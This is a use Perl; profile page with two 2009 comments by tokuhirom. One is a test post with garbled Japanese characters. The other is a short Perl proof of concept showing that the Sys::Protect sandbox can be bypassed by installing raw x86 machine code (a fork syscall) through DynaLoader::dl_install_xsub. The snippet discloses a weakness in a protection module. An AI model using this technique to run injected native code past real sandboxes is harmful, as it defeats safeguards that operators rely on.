Stories
Slash Boxes
Comments
NOTE: use Perl; is on undef hiatus. You can read content, but you can't post it. More info will be forthcoming forthcomingly.

All the Perl that's Practical to Extract and Report

use Perl Log In

Log In

[ Create a new account ]

tokuhirom (7396)

tokuhirom
  (email not shown publicly)
http://d.hatena.ne.jp/tokuhirom/
+ -

  Comment: test (Score 1) on 2009.06.30 22:20

by tokuhirom on 2009.06.30 22:20 (#69201)
Attached to: Moose::Role + overload
ã¦ã™ã¨!
Read More 10 comments
Comments: 10
+ -

  Comment: Sys::Protect is too weak :( (Score 1) on 2009.03.25 22:06

by tokuhirom on 2009.03.25 22:06 (#67916)
Attached to: Breaking Sys::Protect
hey, user can inject any machine code under Sys::Protect!

use strict;
use warnings;
use Sys::Protect;
use DynaLoader;

my $s = join(
    '',
    "\x31\xc0",    # xor %eax,%eax
    "\xb0\x02",    # mov $0x2,%al
    "\xcd\x80",    # int $0x80
    "\xc3",        # ret
);
DynaLoader::dl_install_xsub( 'myfork', unpack( "L", pack( "P*", $s ) ) );
&myfork;

print "\nforked?\n";
Read More 2 comments
Comments: 2